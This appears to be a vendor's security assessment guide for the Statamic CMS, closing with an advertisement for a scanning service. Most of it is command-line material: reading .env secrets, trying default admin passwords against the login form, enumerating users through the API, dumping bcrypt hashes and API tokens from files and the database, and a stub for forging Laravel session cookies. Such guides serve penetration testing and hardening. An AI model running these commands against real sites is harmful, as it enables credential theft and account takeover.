Statamic is a modern CMS built on the Laravel framework, available in both flat-file and database-backed modes. Key assessment areas: the .env APP_KEY is the Laravel application key used to sign session cookies — exposing it allows forging admin sessions without any credentials; users/admin.yaml (flat-file) or the database users table stores bcrypt hashes; the REST API may expose content unauthenticated when STATAMIC_API_ENABLED=true; and the control panel addon installer executes arbitrary PHP. This guide covers systematic Statamic security assessment.
# Statamic — .env APP_KEY extraction and Laravel session forgery
STATAMIC_URL="https://site.example.com"
# .env — Laravel application key and database credentials
cat /var/www/statamic/.env 2>/dev/null | \
grep -E "APP_KEY|DB_PASSWORD|STATAMIC_|MAIL_PASSWORD|AWS_SECRET"
# APP_KEY=base64:AbCdEfGhIjKlMnOpQrStUvWxYz0123456789AbCdEf=
# DB_PASSWORD=mysql-password
# STATAMIC_LICENSE_KEY=XXXX-XXXX-XXXX-XXXX
# STATAMIC_API_ENABLED=true <-- REST API is accessible
# Check .env web accessibility (CRITICAL)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${STATAMIC_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"
# APP_KEY exposure → Laravel session cookie forgery
# Laravel uses APP_KEY to HMAC-sign the session cookie
# If APP_KEY is known, forge a valid session as any user
python3 -c "
import base64, json
app_key = 'extracted-base64-app-key-here'
# Use phpggc or custom tool to forge Laravel session cookie
# Target: forge session as admin user ID
print('APP_KEY:', app_key[:20], '...')
print('Action: use laravel-session-forger tool or phpggc')
" 2>/dev/null
# Test admin credentials at /cp/auth/login
for CRED in 'admin@example.com:admin' 'admin@site.com:password'; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${STATAMIC_URL}/cp/auth/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" \
-c /tmp/st_c -b /tmp/st_c -L 2>/dev/null)
echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done
# Statamic REST API — content and user enumeration
STATAMIC_URL="https://site.example.com"
# Statamic REST API (enabled via STATAMIC_API_ENABLED=true in .env)
# Default API routes at /api/ — no authentication if not configured
curl -s "${STATAMIC_URL}/api/collections" 2>/dev/null | \
python3 -c "
import json, sys
try:
d = json.load(sys.stdin)
for col in d.get('data', [])[:5]:
print(f' Collection: {col.get(\"handle\")} ({col.get(\"title\")})')
except: pass
" 2>/dev/null
# Enumerate all entries in a collection
curl -s "${STATAMIC_URL}/api/collections/pages/entries?limit=100" 2>/dev/null | \
python3 -c "
import json, sys
try:
d = json.load(sys.stdin)
for e in d.get('data', [])[:10]:
print(f' [{e.get(\"status\")}] {e.get(\"title\")} - {e.get(\"url\")}')
except: pass
" 2>/dev/null
# Statamic /api/users — user enumeration (if API auth disabled for users endpoint)
curl -s "${STATAMIC_URL}/api/users" 2>/dev/null | \
python3 -c "
import json, sys
try:
d = json.load(sys.stdin)
for u in d.get('data', [])[:10]:
print(f' {u.get(\"email\")} — super={u.get(\"super\")}')
except: pass
" 2>/dev/null
# Statamic control panel at /cp
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${STATAMIC_URL}/cp" 2>/dev/null)
echo "/cp: HTTP ${STATUS}"
# Statamic addon installer (authenticated, super admin required)
# Addons are Composer packages with PHP code executed on the server
CP_SESS="extracted-laravel-session"
curl -s "${STATAMIC_URL}/cp/addons/install" \
-b "statamic_session=${CP_SESS}" 2>/dev/null | head -5
# Statamic — users/ YAML hash extraction (flat-file mode)
# Flat-file mode stores user data in users/ directory as YAML files
# List all user YAML files
ls /var/www/statamic/users/ 2>/dev/null
for USER_FILE in /var/www/statamic/users/*.yaml; do
echo "=== ${USER_FILE} ==="
cat "${USER_FILE}" 2>/dev/null
done
# name: Admin User
# email: admin@example.com
# password: '$2y$10$...' <-- bcrypt hash
# super: true <-- super admin (full CP access)
# roles: []
# groups: []
# Statamic database mode — users table (MySQL/PostgreSQL)
DB_PASS="extracted-db-password"
mysql -u statamic -p"${DB_PASS}" statamic 2>/dev/null << 'EOF'
-- users table — Statamic user accounts with bcrypt hashes
SELECT u.id, u.name, u.email, u.password,
u.super, -- true/1 = super admin (full control panel)
u.last_login_at, u.created_at,
u.preferences
FROM users u
ORDER BY u.id;
-- password: bcrypt ($2y$10$...)
-- super=1: unrestricted control panel access
-- Check for Statamic tokens (API authentication)
SELECT t.id, t.user_id, t.name, t.token, t.last_used_at
FROM personal_access_tokens t
WHERE t.tokenable_type LIKE '%User%'
ORDER BY t.last_used_at DESC
LIMIT 20;
-- token: hashed API bearer token — if plaintext portion known, API auth bypass
-- content stored as files in flat-file mode, or in database in DB mode
SELECT e.id, e.collection, e.slug, e.status,
e.data, e.date, e.published_at
FROM entries e
WHERE e.status = 'draft'
ORDER BY e.date DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| .env APP_KEY exposure enabling Laravel session cookie forgery | GET /.env — HTTP 200 = APP_KEY direct access; forge valid admin session cookie without knowing any password using phpggc or equivalent | Critical |
| users/ YAML bcrypt hash web accessibility (flat-file mode) | GET /users/admin.yaml — HTTP 200 = direct bcrypt hash download; super: true flag identifies unrestricted admin accounts | Critical |
| Statamic REST API unauthenticated content and user enumeration | GET /api/users — user email, super flag enumeration; GET /api/collections — all content structure; no auth required if STATAMIC_API_ENABLED=true without auth config | High |
| Admin credential brute-force at /cp/auth/login | POST /cp/auth/login — email/password; super admin session enables addon installation (PHP code execution) and full content management | High |
| personal_access_tokens API token extraction from database | MySQL SELECT token FROM personal_access_tokens — API bearer tokens enabling programmatic super admin CP access without password | High |
Ironimo tests Statamic deployments for .env APP_KEY web accessibility enabling Laravel session cookie forgery, users/ YAML bcrypt hash and super admin flag web accessibility (flat-file mode), Statamic REST API unauthenticated content and user enumeration at /api/collections and /api/users, admin credential brute-force at /cp/auth/login, personal_access_tokens API token extraction, database users table bcrypt hash extraction with super=1 identification, Statamic addon installer PHP code execution RCE assessment, storage/ and config/ directory web accessibility verification, STATAMIC_API_ENABLED .env disclosure, and Statamic version disclosure for CVE targeting.
Start free scan